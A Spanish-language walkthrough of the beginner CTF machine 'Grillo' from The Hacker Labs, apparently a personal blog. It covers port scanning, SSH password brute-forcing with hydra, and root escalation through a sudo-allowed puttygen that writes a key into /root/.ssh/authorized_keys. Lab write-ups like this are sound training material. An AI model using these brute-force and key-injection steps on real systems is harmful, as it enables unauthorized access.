> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/the-hacker-labs/grillo.md).

# Grillo

🔍 Dificultad: Principiante

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.67
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FyYFQ6fd95taKqcuOceTI%2Fimagen.png?alt=media&amp;token=016588b2-7e7b-488f-a0cc-d80c605f5885" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.67
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F9cdpGwgjL2c6nr7FWgj7%2Fimagen.png?alt=media&amp;token=20a71359-0683-49dd-9a72-cc93bdfa6c67" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 192.168.1.67
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOirEoyt9u7lLK3BZUp3A%2FCaptura%20de%20pantalla%202024-10-12%20214807.png?alt=media&amp;token=97efe834-2453-45fa-bee3-bbbf8ea84251" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página por defecto de **Apache**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fn1dsWf7smiJqmGVqfpgS%2Fimagen.png?alt=media&amp;token=f8dc0d5d-eadc-4b0a-b788-f8fa2643fc5e" alt=""><figcaption></figcaption></figure>

Al revisar el código fuente nos encontramos un comentario muy interesante. Nos menciona a un usuario que se llama **melanie**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4p4KYelIz3jLEWpca1lJ%2Fimagen.png?alt=media&amp;token=3239026d-338a-4239-8ee9-ea8491b574b4" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l melanie -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.67 -t 5
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **192.168.1.67**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZT1CXG2YZcKr1YyyG1CS%2Fimagen.png?alt=media&amp;token=8442c29c-6c16-4336-9105-596c43040d12" alt=""><figcaption></figcaption></figure>

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **melanie**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh melanie@192.168.1.67
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FwABU8KHiEWBGRIS8x3lf%2Fimagen.png?alt=media&amp;token=3c41e9d7-5477-40a8-b685-3968acbdf2e4" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FrVbbSArvv0Huuya8roDW%2Fimagen.png?alt=media&amp;token=509ef1bf-7434-4c98-bdbf-a1c5041880cf" alt=""><figcaption></figcaption></figure>

Primero, creamos una clave SSH utilizando puttygen, una herramienta diseñada para gestionar claves SSH en diferentes formatos.

```bash
puttygen -t rsa -o id_rsa -O private-openssh
```

Esto genera una nueva clave privada RSA, que se almacena en el archivo **id\_rsa**. También se nos pide ingresar una frase de paso para agregar una capa extra de seguridad a la clave privada.\
Después de crear la clave, utilizamos el comando `ls` para confirmar que el archivo **id\_rsa** ha sido creado exitosamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FZdIfA7ItQfABMYP6jvrW%2Fimagen.png?alt=media&amp;token=4bf9017b-a698-4a26-896b-a3ee7b86a94f" alt=""><figcaption></figcaption></figure>

Con la clave privada generada, el siguiente paso es crear la clave pública correspondiente y agregarla al archivo **authorized\_keys** del usuario root. Esto permitirá el acceso SSH sin necesidad de contraseña desde la cuenta de Melanie:

```
sudo -u root /usr/bin/puttygen id_rsa -o /root/.ssh/authorized_keys -O public-openssh
```

Antes de intentar conectarnos por SSH, modificamos los permisos de la clave privada para garantizar que solo el usuario tenga acceso de lectura:

```
chmod 600 id_rsa
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FbgGRSRMQv2ut0qtcdSy9%2Fimagen.png?alt=media&amp;token=ed17c0be-bc98-46c0-9212-91e85dd74093" alt=""><figcaption></figcaption></figure>

Finalmente, empleamos la clave privada para acceder al servidor como usuario **root**.

```bash
ssh -i id_rsa root@192.168.1.67
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F63XKU9MnURZSWKEYZx8Z%2Fimagen.png?alt=media&amp;token=b0f0736d-c3f7-4ae6-8a02-c87941bc0b68" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
